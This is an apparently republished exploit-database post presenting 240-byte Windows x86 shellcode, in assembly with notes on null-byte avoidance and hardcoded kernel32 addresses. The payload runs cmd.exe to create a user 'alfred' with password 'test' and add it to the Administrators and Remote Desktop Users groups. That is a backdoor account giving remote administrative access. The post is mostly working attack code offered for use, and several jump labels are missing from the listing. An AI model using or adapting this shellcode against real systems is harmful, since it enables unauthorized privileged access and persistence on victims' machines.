Wednesday, February 24, 2021

Shellcode - Windows/x86 - Add User Alfred to Administrators/Remote Desktop Users Group (240 bytes)


Author: Armando Huesca Prida


Windows x86 Shellcode that uses CreateProcessA Windows API to add a new user to administrators and remote desktop users group. This shellcode uses JMP/CALL/POP technique and static kernel32.dll functions addresses.

It's possible to bypass bad-chars by switching the message db string between uppercase and lowercase letters.
Exploitdb publication: shellcode
Shellcode informations:
# Exploit Title: Windows/x86 - Add User Alfred to Administrators/Remote Desktop Users Group Shellcode (240 bytes)
# Exploit Author: Armando Huesca Prida
# Date: 20-02-2021
# Tested on:
# Windows 7 Professional 6.1.7601 SP1 Build 7601 (x86)
# Windows Vista Ultimate 6.0.6002 SP2 Build 6002 (x86)
# Windows Server 2003 Enterprise Edition 5.2.3790 SP1 Build 3790 (x86)
Shellcode considerations:

- Function address of CreateProcessA in kernel32.dll: 0x77082082
- Function address of ExitProcess in kernel32.dll: 0x770d214f
- Administartor user credentials: alfred:test
- Size of message db parameter, 152 bytes -> 0x98 hex = 0x111111A9 - 0x11111111 (0x00 badchar avoidance) ;)

Assembly shellcode:

global _start
section .text


jmp application

pop edi
xor eax, eax
mov esi, 0x111111A9
sub esi, 0x11111111
mov [edi+esi], al                       ; size of message db parameter

push eax                                ; hStderror null in this case
push eax                                ; hStdOutput, null
push eax                                ; hStdInput, null
xor ebx, ebx
xor ecx, ecx
add cl, 0x12                            ; 18 times loop to fill both structures.

push ebx
loop looper
;mov word [esp+0x3c], 0x0101            ; dwflag arg in startupinfo
mov bx, 0x1111
sub bx, 0x1010
mov word [esp+0x3c], bx
mov byte [esp+0x10], 0x44; cb=3D0x44
lea eax, [esp+0x10]                     ; eax points to StartUpInfo

        ; eax holds a pointer to StartUPinfo
        ; esp holds a pointer to Process_Info filled of null values

push esp                                ; pointer to Process-Info
push eax                                ; pointer to StartUpInfo
xor ebx, ebx
push ebx                                ; null
push ebx                                ; null
push ebx                                ; null
inc ebx
push ebx                                ; bInheritHandles=3Dtrue
dec ebx
push ebx                                ; null
push ebx                                ; null
push edi                                ; pointer to message db string

push ebx                                ; null
mov edx, 0x77082082                     ; CreateProcessA addr in kernel32.dll
call edx

push eax                                ; createprocessA return in eax
mov edx, 0x770d214f                     ; ExitProcess addr in kernel32.dll
call edx

call firststep
message db 'c:\windows\system32\cmd.exe /c net user alfred test /add & net localgroup ADMINISTRATORS alfred /add & net localgroup "Remote Desktop Users" alfred /add'